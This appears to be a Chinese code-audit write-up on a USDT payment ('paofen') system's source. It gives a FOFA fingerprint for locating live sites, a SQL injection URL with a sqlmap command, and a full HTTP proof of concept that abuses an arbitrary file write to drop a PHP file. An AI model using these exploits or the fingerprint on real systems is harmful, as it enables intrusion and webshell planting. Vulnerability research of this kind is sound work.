某站卖5000元的USDT跑分源码API监听自动回调usdt支付系统源码三级分销审计

fofa结果

fofa指纹:”pay/charges/index.html”

环境搭建

源码中有安装文档.doc

网站运行目录为/public,php版本7.3

MySQL新建数据库dkewl_com,导入目录中数据库文件dkewl.sql

修改MySQL连接(配置用户名密码等信息)

开启redis

config/cache.php中的redis密码要和小皮面板的redis密码一致

安装php7.3的拓展

配置Apache伪静态(网站->管理->伪静态)

原文档中是nginx伪静态

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?s=$1 [QSA,L]
</IfModule>

至此,环境搭建完成

代码审计

前台SQL注入

对应文件:app/index/controller/Getway.php

第255行,tiaojian参数$_REQUEST获取,并且只判断是否为空,没有对传递的参数值进行过滤

漏洞所在点为index中Getway文件的Excel方法,构造URL,可以正常请求

http://paofen:8000/index/getway/excel?table=ea_system_admin&number=10&shunxu=desc&down=1&tiaojian=1=1

sqlmap验证:

python sqlmap.py -u "http://paofen:8000/index/getway/excel?table=ea_system_admin&number=10&shunxu=desc&down=1&tiaojian=1" -p tiaojian --batch --dbms=mysql

同文件下还有多个注入点,这里只列举一个

前台任意文件写入

对应文件:public/log.php

require_once (dirname(__FILE__) .'/../config/Logs.php');
$contents=$_SERVER['DOCUMENT_ROOT']."/public/code/".date("Ymd");
$filename = $contents."/log_" . date("Ymd", time()) . ".png"."$_GET[name]";
var_dump($filename);
if (!is_dir($contents)){@mkdir($contents,0755,true);}
/**
* 定义日志的生成格式
*/
@ $msg = array( $_SERVER["REMOTE_ADDR"],$_SERVER['REQUEST_METHOD'],$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"],$_SERVER["HTTP_USER_AGENT"],base64_decode("$_POST[content]"));
/**
* 定义日志的的内容部分
*/
$Log = new Log();
$Log->writeLog($filename, ($msg));

第23行,name参数可控,拼接到.png之后,最终传递给$filename,$filename在第34行为写入的文件名,这里确定文件后缀名可控

再看第29行,传递给$msg变量的content可控(这里UA头也是可控的,也可以在UA头写文件),最后$msg为写入的文件内容,因此写入文件内容也可控

content的内容在请求体中,并且经过base64解码之后再拼接传递给$msg

验证:

POC:

GET /log.php?c=1&name=.php HTTP/1.1
Host: paofen:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 32

content=PD9waHAgcGhwaW5mbygpOz8+

成功上传并返回文件路径

<?php phpinfo();?> –>(base64) –> PD9waHAgcGhwaW5mbygpOz8+

访问文件路径

如果直接在UA头处写payload,不需要base64编码